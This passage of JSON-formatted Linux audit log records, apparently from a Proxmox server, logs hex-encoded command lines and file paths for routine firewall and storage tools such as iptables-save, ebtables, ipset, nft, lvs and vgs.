cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.201:64675): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055219,"@rawstring":"node=pve type=PATH msg=audit(1781966055.219:68250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.201:64674): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055219,"@rawstring":"node=pve type=PATH msg=audit(1781966055.219:68250): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965217201,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965217.201:64673): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PATH msg=audit(1781966055.225:68249): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215281,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.281:64672): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PATH msg=audit(1781966055.225:68249): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.277:64671): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PATH msg=audit(1781966055.225:68248): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.277:64670): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055225,"@rawstring":"node=pve type=PATH msg=audit(1781966055.225:68247): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.277:64669): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PATH msg=audit(1781966055.217:68246): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.272:64668): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PATH msg=audit(1781966055.217:68246): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215266,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.266:64667): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PATH msg=audit(1781966055.217:68245): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215254,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.254:64666): proctitle=\"iptables-save\""} {"@timestamp":1781966055217,"@rawstring":"node=pve type=PATH msg=audit(1781966055.217:68244): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.245:64665): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055213,"@rawstring":"node=pve type=PATH msg=audit(1781966055.213:68243): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.236:64664): proctitle=\"iptables-save\""} {"@timestamp":1781966055213,"@rawstring":"node=pve type=PATH msg=audit(1781966055.213:68243): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215232,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.232:64663): proctitle=\"ebtables-restore\""} {"@timestamp":1781966055205,"@rawstring":"node=pve type=PATH msg=audit(1781966055.205:68242): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.229:64662): proctitle=\"ebtables-restore\""} {"@timestamp":1781966055205,"@rawstring":"node=pve type=PATH msg=audit(1781966055.205:68242): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.220:64661): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966055193,"@rawstring":"node=pve type=PATH msg=audit(1781966055.193:68241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.214:64660): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966055193,"@rawstring":"node=pve type=PATH msg=audit(1781966055.193:68241): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215208,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.208:64659): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966055189,"@rawstring":"node=pve type=PATH msg=audit(1781966055.189:68240): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215202,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.202:64658): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966055189,"@rawstring":"node=pve type=PATH msg=audit(1781966055.189:68240): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215196,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.196:64657): proctitle=697073657400726573746F7265"} {"@timestamp":1781966055184,"@rawstring":"node=pve type=PATH msg=audit(1781966055.184:68239): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.187:64656): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055184,"@rawstring":"node=pve type=PATH msg=audit(1781966055.184:68239): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.180:64655): proctitle=\"iptables-save\""} {"@timestamp":1781966055182,"@rawstring":"node=pve type=PATH msg=audit(1781966055.182:68238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215175,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.175:64654): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966055182,"@rawstring":"node=pve type=PATH msg=audit(1781966055.182:68238): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.170:64653): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966055182,"@rawstring":"node=pve type=PATH msg=audit(1781966055.182:68237): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.170:64652): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055176,"@rawstring":"node=pve type=PATH msg=audit(1781966055.176:68236): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.170:64651): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055176,"@rawstring":"node=pve type=PATH msg=audit(1781966055.176:68236): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.164:64650): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966055176,"@rawstring":"node=pve type=PATH msg=audit(1781966055.176:68236): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215158,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.158:64649): proctitle=\"ip6tables-save\""} {"@timestamp":1781966055168,"@rawstring":"node=pve type=PATH msg=audit(1781966055.168:68235): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215150,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.150:64648): proctitle=\"iptables-save\""} {"@timestamp":1781966055168,"@rawstring":"node=pve type=PATH msg=audit(1781966055.168:68235): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.144:64647): proctitle=69707365740073617665"} {"@timestamp":1781966055159,"@rawstring":"node=pve type=PATH msg=audit(1781966055.159:68234): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.136:64646): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966055159,"@rawstring":"node=pve type=PATH msg=audit(1781966055.159:68234): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215126,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965215.126:64645): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966055151,"@rawstring":"node=pve type=PATH msg=audit(1781966055.151:68233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214783,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965214.783:64644): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966055151,"@rawstring":"node=pve type=PATH msg=audit(1781966055.151:68233): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965214.754:64643): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966055140,"@rawstring":"node=pve type=PATH msg=audit(1781966055.140:68232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.192:64642): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055140,"@rawstring":"node=pve type=PATH msg=audit(1781966055.140:68232): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.192:64641): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055128,"@rawstring":"node=pve type=PATH msg=audit(1781966055.128:68231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212191,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.191:64640): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966055128,"@rawstring":"node=pve type=PATH msg=audit(1781966055.128:68231): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.181:64639): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966054093,"@rawstring":"node=pve type=PATH msg=audit(1781966054.093:68230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.181:64638): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966054093,"@rawstring":"node=pve type=PATH msg=audit(1781966054.093:68230): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212180,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965212.180:64637): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966054064,"@rawstring":"node=pve type=PATH msg=audit(1781966054.064:68229): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.172:64636): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966054064,"@rawstring":"node=pve type=PATH msg=audit(1781966054.064:68229): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.172:64635): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PATH msg=audit(1781966050.209:68228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.172:64634): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PATH msg=audit(1781966050.209:68228): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.168:64633): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PATH msg=audit(1781966050.209:68227): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.168:64632): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966050209,"@rawstring":"node=pve type=PATH msg=audit(1781966050.209:68226): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965207.168:64631): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966050204,"@rawstring":"node=pve type=PATH msg=audit(1781966050.204:68225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.113:64630): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966050204,"@rawstring":"node=pve type=PATH msg=audit(1781966050.204:68225): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.111:64629): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966050204,"@rawstring":"node=pve type=PATH msg=audit(1781966050.204:68224): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.109:64628): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966050203,"@rawstring":"node=pve type=PATH msg=audit(1781966050.203:68223): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.109:64627): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966046115,"@rawstring":"node=pve type=PATH msg=audit(1781966046.115:68222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.105:64626): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966046115,"@rawstring":"node=pve type=PATH msg=audit(1781966046.115:68222): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206099,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.099:64625): proctitle=\"ip6tables-save\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PATH msg=audit(1781966046.109:68221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.090:64624): proctitle=\"iptables-save\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PATH msg=audit(1781966046.109:68221): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206085,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.085:64623): proctitle=\"ip6tables-save\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PATH msg=audit(1781966046.109:68220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.076:64622): proctitle=\"iptables-save\""} {"@timestamp":1781966046109,"@rawstring":"node=pve type=PATH msg=audit(1781966046.109:68220): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.074:64621): proctitle=\"ebtables-restore\""} {"@timestamp":1781966046108,"@rawstring":"node=pve type=PATH msg=audit(1781966046.108:68219): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206070,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.070:64620): proctitle=\"ebtables-restore\""} {"@timestamp":1781966046101,"@rawstring":"node=pve type=PATH msg=audit(1781966046.101:68218): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206067,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.067:64619): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966046101,"@rawstring":"node=pve type=PATH msg=audit(1781966046.101:68218): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.061:64618): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966046101,"@rawstring":"node=pve type=PATH msg=audit(1781966046.101:68218): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206054,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.054:64617): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966046093,"@rawstring":"node=pve type=PATH msg=audit(1781966046.093:68217): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206048,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.048:64616): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966046093,"@rawstring":"node=pve type=PATH msg=audit(1781966046.093:68217): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206043,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.043:64615): proctitle=697073657400726573746F7265"} {"@timestamp":1781966046084,"@rawstring":"node=pve type=PATH msg=audit(1781966046.084:68216): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" 